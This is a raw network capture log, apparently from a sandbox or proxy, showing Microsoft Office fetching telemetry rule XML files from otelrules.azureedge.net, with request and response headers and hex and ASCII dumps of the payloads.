2024-11-15 12:18:41 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:41 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:41 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: 6c65b011-001e-000b-6024-2c15a7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121841Z-16547b76f7f7rtshhC1DFWrtqn0000000n2000000000df9z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:41 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.7	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:41 UTC	192	OUT	GET /rules/rule702800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:41 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:41 GMT Content-Type: text/xml Content-Length: 1354 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE0662D7C" x-ms-request-id: 1deec605-401e-0029-2fd2-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121841Z-16547b76f7ftdm8dhC1DFWs13g0000000mzg00000000eptw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:41 UTC	1354	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.SDX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSDX" S="Medium" /> <F T="2"> <O

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.7	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:41 UTC	192	OUT	GET /rules/rule703351v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:41 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:41 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCDD6400" x-ms-request-id: e0fa4109-b01e-0070-571f-371cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121841Z-164f84587bfm8kdnhC1DFWey4g00000001d0000000001ny5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:41 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703351" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.7	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:41 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:41 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:41 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 926299b0-201e-0096-47af-36ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121841Z-1866b5c5fbbzcdbqhC1DFW3r3400000001ag00000000a029 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:41 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:42 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:42 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:42 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 5b14ddc3-301e-0033-2bd2-2cfa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121842Z-16547b76f7fht2hfhC1DFWbngg00000001pg000000008gua x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:42 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:42 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:42 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:42 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 14be5296-801e-008c-31af-367130000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121842Z-1866b5c5fbbqmbqjhC1DFWwgvc00000000w0000000004m1s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:42 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:42 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:42 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:42 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 50ec610d-601e-0070-10a1-34a0c9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121842Z-1866b5c5fbbccpxfhC1DFWbkng0000000180000000006eh8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:42 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:42 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:42 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:42 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 29f76c25-201e-0000-6fd2-2ca537000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121842Z-16547b76f7fht2hfhC1DFWbngg00000001s0000000002qx1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:42 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:42 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:42 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:42 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 9fe5a23c-201e-0051-74ab-367340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121842Z-16547b76f7fht2hfhC1DFWbngg00000001q0000000006pkk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:42 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:43 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:43 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:43 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 7208895d-401e-0047-32a2-348597000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121843Z-1866b5c5fbb9ls62hC1DFW4k2s00000001dg000000004y3k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:43 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:43 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:43 UTC	517	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:43 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 1deecc73-401e-0029-32d2-2c9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121843Z-16547b76f7fw2955hC1DFWsptc00000001tg0000000071c1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 12:18:43 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49844	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 12:18:43 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 12:18:43 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 12:18:43 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: c87ec88a-b01e-00ab-2cb9-36dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T121843Z-16547b76f7fhvzzthC1DFW557000000001fg00000000056h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
